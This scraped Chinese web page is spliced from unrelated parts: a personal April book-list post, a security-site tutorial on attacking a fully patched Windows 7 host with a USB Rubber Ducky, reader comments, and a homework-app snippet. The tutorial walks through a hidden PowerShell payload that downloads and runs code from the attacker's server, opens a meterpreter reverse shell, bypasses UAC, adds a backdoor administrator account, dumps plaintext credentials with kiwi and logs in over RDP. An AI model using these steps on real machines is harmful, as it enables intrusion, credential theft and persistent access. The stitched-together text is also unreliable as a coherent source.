四月书单 | 有橡皮鸭子的人永远不会孤独
四月书单 | 有橡皮鸭子的人永远不会孤独
摘要： 四月，6本书。
周日宜有趣*以上内容来自单向历??1.《ZOO》&乙一&著豆瓣8.6分有趣 ???融入 ????推荐 ????上个月看了白乙一系列作品，这个月看了黑乙一系列的两本书。感觉乙一确实还是比较适合写恐怖小说。整体感觉是：略微有点反人类+变态+丧。这本是短篇小说合集，由十一个故事组成。好几个故事都看到后背发凉，惊艳到我的是《小饰与洋子》。总之就是很多疯狂的想法，和对人性阴暗面的描写。喜欢恐怖小说类的可以读一读。书摘：我在考虑自己死时的事。这不仅仅是停止活动而已。是和这世界上的一切分别，是和自己分别。不管如何的喜欢也必然要分别。所以害怕，所以悲伤。越是爱得深死后的丧失感越是重。爱和死并不是两件不相同的东西，是同一件东西的表和里。??2.《GOTH断掌事件》&乙一&著豆瓣8.3分有趣 ???融入 ????推荐 ????同样是黑乙一系列，这本以两个主人公为主线，写了二人对身边发生的一系列变态离奇案件进行追索，甚至亲临犯罪现场，获得过比死者更迫近死亡的机会，并借此完成对杀人狂内心世界的窥探。身为惊悚血腥类电影爱好者，还是有点被这本书惊到了，毕竟书本能想象的空间比电影大很多啊。最恐怖的不是对稀奇古怪的脑洞，而是作者对那些变态杀手细腻极致的心理描写。其中有一个故事里的人物让我不禁想到了太宰治。书摘：年仅八岁的她，竟亲眼目睹了自己的丧礼。自己的真名从那场丧礼起便一直尘封至今，她的内心隐藏着常人无法理解的，甚至是需要通过割腕才能宣泄的激烈感情。其根源无疑来自于她的姐姐，以及那个已经被人深埋了的名字。小女孩选择的这条道路充满了孤独和悲壮，她必须不惜一切把它走完。了解一般人所崇尚的价值观，并以此为标准把自己伪装起来，我便能够以正常人的姿态开始生活。即使是与同学聊自己并不感兴趣的话题，我也会兴高采烈地积极参与其中。&&??3.《十八岁给我一个姑娘》&冯唐&著豆瓣7.3分有趣 ????融入 ?????推荐 ???整篇小说以散文的笔触，写了“我”青春期对一个姑娘的迷恋。这本感觉还好，读起来还是挺轻松的，偶尔也会被逗笑一下。本来想接着再读一本《北京，北京》的，却有点读不下去了，关于性的东西放太多就会很腻。还是王小波牛逼。书摘：十七八岁的少年没有时间概念，一辈子的意思往往是永远。有些问题太难懂，仿佛上学离开妈妈，仿佛将来要将性命托给另外一个女人，仿佛现在心里喜欢上一个姑娘。小屋子太小了，容得下两个人吗？屋里的天地太大了，那个姑娘会喜欢吗？??4.《宇宙尽头的餐馆》&道格拉斯·亚当斯&著豆瓣8.7分有趣 ?????融入 ?????推荐 ?????非常惊喜的一本！银河系搭车客指南五部曲的第二部（是的，不知道为什么我是从第二部开始看的，但并不影响我对它的爱！），科幻类型。作者的幽默简直太喜欢了，极致幻想，无厘头，却又带有讽刺，很现实。有人说这已经不是科幻小说了，而是萌幻。我不管，就是分分钟被圈粉，超级喜欢没有办法hhh。书摘：每个重要银河文明都倾向于经历三个区别鲜明的阶段，这就是“生存”、“探索”和“适应”，换言之就是“怎么活”、“为何活”和“在哪儿活”。举例来说，第一个阶段可归纳为“咱们怎么吃饭？”，第二个是“咱们为啥吃饭？”，第三个就是“咱们上哪儿吃午餐？”众所周知，宇宙中存在无限多颗行星，这只是因为有无限大的空间来容纳它们。然而，并非每颗行星都适合居住。因此，有人居住的行星数量必定有限。任何有限数字除以无限大都小得不值一提，故而宇宙间所有行星的平均人口可视为零。由此可推，整个宇宙的人口也等于零，你偶尔遇见的任何人都不过是精神错乱的幻想产物而已。&??5.《且听风吟》&村上春树&著豆瓣7.7分有趣 ??融入 ???推荐 ???村上春树的成名作，可是没有太吸引我。一是字数比较少，没有太沉下心去读；二是心境之类的可能还不够成熟，有点get不到作者的情感流露。不过还会继续读村上的其他作品的。书摘：不存在十全十美的文章，如同不存在彻头彻尾的绝望。如果你志在追求艺术追求文学，那么去读一读希腊人写的东西好了。因为要诞生真正艺术，奴隶制度是必不可少的。 而古希腊人便是这样：奴隶们耕种、烧饭、划船，而市民们则在地中海的阳光下陶醉于吟诗作赋，埋头于数学解析。所谓艺术便是这么一种玩艺。 至于半夜三点在悄无声息的厨房里检查电冰箱的人，只能写出这等模样的文章，而那就是我。??6.《城南旧事》&林海音&著豆瓣8.9分有趣 ???融入 ?????推荐 ????不知道大家还记不记得这本书，小学课本里的《爸爸的花儿落了》就是选自这本书。现在再看感受真的完全不同，所以有的书确实是值得在不同年纪反复看的。完全以小孩儿的角度去写的，有一点被带回童年的感觉（虽然和作者的童年不在同一个时代）。写了“小英子”童年在北京城南发生的几个故事。也算是重读经典了。书摘：走过了院子，看那垂落的夹竹桃。我默念着： 爸爸的花儿落了， 我也不再是小孩子。????????????????????????????????????????????????????????????????本月最爱——《宇宙尽头的餐馆》前几天被学妹催更了，还是有点开心的，这种被人惦念着的感觉。有几篇正在加工中的稿子，请相信我会慢慢慢慢慢慢的把它们写完的。最近过得很开心，希望你们也是。欢迎来聊聊五一假期都去哪里玩了，比心儿。来说说&最近的枕边书快戳左下角留言不要吝啬你对我的爱欢迎转发点赞春天到了，来读书吧-- end --图 | 网络音乐 | 湿湿的梦&- mla乐队文 | LLL赏饭大爷请联系邮箱或在菜单里点约稿/合作/赏饭找我玩可以在后台留言使用橡皮鸭硬件绕过杀软，渗透Win 7 -
| 关注黑客与极客
使用橡皮鸭硬件绕过杀软，渗透Win 7
共342814人围观
，发现 15 个不明物体
本文将演示如何使用USB Rubber Ducky和unicorn攻击一台运行AVG2015杀毒软件并且补丁全部打上的Windows 7电脑。本教程仅供学习，请勿用作非法用途。
进行实验所要做的准备：
Windows 7 (受害者主机)
Kali Linux 2.0 (攻击者主机)
USB Rubber Ducky 硬件
注意：Windows 7 和 Kali系统可以是虚拟运行的也可以是实体运行的，但是我们建议在专门的实体硬件上运行Windows7以防止USBRubber Ducky模拟键盘HID的时候虚拟化技术将动态更改USB分配。
获得payload
1. 从Hakshop 购买USB Rubber Ducky Deluxe
2. 访问 USB Rubber Ducky的Wiki 使用其中的模板payload
3. 复制 “Payload – Powershell Wget + Execute” GUI r DELAY 100STRING powershell -windowstyle hidden (new-objectSystem.Net.WebClient).DownloadFile(‘’,’%TEMP%\bob.exe’);Start-Process “%TEMP%\bob.exe”
4. 将默认的URL“”改成你自己的域名或IP地址。我的设定是：GUIr DELAY 100 STRING powershell -windowstyle hidden (new-objectSystem.Net.WebClient).DownloadFile(‘’,’%TEMP%\drop.cmd’);Start-Process “%TEMP%\drop.cmd” ，然后按回车
5. 把你修改过的代码粘贴到在线DuckToolkit编码器中，选择键盘样式，然后点击生成脚本。
6. 下载“inject.bin” 和 “inject.txt” 文件。把“inject.bin” 复制到Rubber Ducky中的SD卡中，“inject.txt” 供参考之用
7.把micro SD卡插入micro SD USB适配器（不是RubbyDucky），然后插入Kali电脑。
8.将“inject.bin”文件从你的下载文件夹复制到Micro SD卡根目录
9.接下来我们用unicorn生成payload。从GitHub下载unicorn.py。Unicorn是一款使用PowerShell降级攻击的简单工具，它会把shellcode直接注入到内存中。这个项目给予MatthewGraeber的Powershell攻击和DavidKennedy (TrustedSec) 和Josh Kelly在Defcon 18上展示的powershell绕过技巧。
10.在浏览器菜单点击“文件”-“保存为”选项，将页面保存到你的文件系统，我把它放在了桌面上的一个叫USB_RD的文件夹里。
11.用“unicorn.py”生成反向https meterpreter payload。待会你要运行pythonunicorn.py&windows/meterpreter/reverse_https&192.168.1.115 8443，记得修改里面的IP地址和端口。
12. 这时两个文件都生成完毕， “powershell_attack.txt” 和“unicorn.rc”。将powershell_attack.txt 命名为第四步中你打算放在服务器上的文件名。我的是“anything.txt”。
注意：“unicorn.rc”文件可以被用在metasploit会话中以建立监听器。
13.复制payload文件“anything.txt”到你的web服务器上。我的文件在web根目录下（步骤4中制定的）
14.开启apache2 web服务器，然后用tail查看日志文件，这样就能看到来自Windows7的请求。
注意：tail的“-f” 参数能够保证文件实时更新
15. 现在我们启动meterpreter 监听器。打开新的终端窗口，进入unicorn.rc 文件所在的目录，然后启动metasploit： msfconsole -runicorn.rc
16.将micro SD卡从攻击主机(Kali)中拔出，然后插入到USBRubber Ducky中。
打上全部补丁的Windows 7 + AVG 2015
Windows 7 网络信息
插入橡皮鸭
17. 在Windows 7中插入USB Rubber Ducky ，稍等片刻等待主机识别设备并执行代码。注意查看web服务器日志，这是你唯一能用来判断是否正常工作的东西。
重要事项：如果你在虚拟机内实验，在插入USB Rubber Ducky之前你得确保Windows7主机处于活跃状态，以防你把橡皮鸭插到别的主机上。
18. 如果Rubber Ducky正常运行了，你马上会看到它在下载你服务器上的文件，然后你还应该看到有个meterpreter会话打开了
19. 接着我们到meterpreter 会话中看看我们能干什么。你可以运行sysinfo 、ipconfig查看主机信息。sessions -i 1
20.由于UAC的关系，目前为止，我们还没有系统权限
21. 我们看看能不能用别的模块绕过UAC，经过几番实验后，我们发现bypassuac_vbs可以用来绕过。
22. 设置exploit，然后设置其他payload返回你一个有权限的shell。这次我们使用标准的反向tcp因为创建其他reverse_https通道好像有问题。
23. 执行这个exploit，然后等待建立第二个没有UAC限制的会话
24. 我们看看能不能获取权限
25. 成了！接下来我们创建一个管理员帐号 (haxtorDaMan) 把它提升到管理员组，并且成为远程桌面用户。
net user haxtorDaManhax@Pass50 /add net localgroup “Administrators” haxtorDaMan /add net localgroup“Remote Desktop Users” haxtorDaMan /
26. 我们现在可以到Windows7机器上看看用户有没有创建成功
27. 接下来我们看看能否用kiwi获取明文密码：load kiwi meterpreter& creds_all
28. 接着我们尝试用RDP连接到Windows 7，首先在msfconsole运行enable_rdp模块。把SESSION设置为无UAC限制的有权限的session，我的是SESSION2
29. 然后用haxtorDaMan账号登录：xfreerdp /v:192.168.1.108 /port:3389/size:1600×900/u:haxtorDaMan /p:hax@Pass50
Note: 我实验的时候rdesktop 不支持Windows加密会话，所以用了xfreerdp。
相关阅读：
*参考来源：，FB小编Sphinx编译，文章有修改，转载请注明来自Freebuf黑客与极客（）
FreeBuf专栏作者
以下是hack5回复的邮件内容： The HakShop has a strict shipping policy. The countries omitted from our processing and shipping list are due to one or several of these specific reasons:-The country&s laws prohibit the import of Wifi Routers or electronics sold from our store.-More than 50% of packages sent are lost, destroyed or abandoned.-Packages have been returned and marked unable to import from US mail box centers-There is an Embargo, an official ban on trade or other commercial activity with a particular country.I apologize for the inconvenience. Our shipping software and credit card processor will only support the countries on our shipping and fulfillment list.Orders may be placed from and shipped to the following nations:Australia, Austria, Belgium, Canada, Denmark, Finland, France, Germany, Greece, Greenland, Hungary, Iceland, Ireland, Italy, Lithuania, Luxembourg, Mexico, Monaco, Netherlands, New Zealand, Norway, Poland, Portugal, Romania, Slovakia, Slovenia, Spain, Sweden, Switzerland, Turkey, United Kingdom, United States.Here is a link to our policy page for further information:/policy大体就是说：“我们不运给中国，支持的运送国家里没有中国”
谁能破费买一个，把原理图拔出来。官方提供Firmware, Encoders and Toolkits，直接山寨掉，价格也就200一个。
必须您当前尚未登录。
必须（保密）
这家伙太懒了，什么都没写
关注我们 分享每日精选文章扫二维码下载作业帮
2亿+学生的选择
下载作业帮安装包
扫二维码下载作业帮
2亿+学生的选择
我喜欢晴朗的天气 但不喜欢下雨天英语句子
扫二维码下载作业帮
2亿+学生的选择
我喜欢晴朗的天气 但不喜欢下雨天I like sunny days but don't like rainy days
为您推荐：
其他类似问题
扫描下载二维码